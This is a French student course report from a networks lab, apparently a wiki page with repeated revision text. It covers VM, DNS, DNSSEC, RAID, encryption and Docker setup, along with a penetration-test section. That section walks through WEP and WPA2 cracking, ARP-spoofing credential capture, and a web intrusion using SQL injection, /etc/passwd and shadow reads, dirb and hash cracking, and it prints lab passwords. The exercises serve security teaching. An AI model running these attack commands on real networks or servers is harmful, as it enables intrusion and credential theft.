Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "\{\{ packages \}\}"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}"

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

TP sysres IMA5sc 2020/2021 G5

2020-12-17T23:12:16Z

Psanchez : /* Installation de docker */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

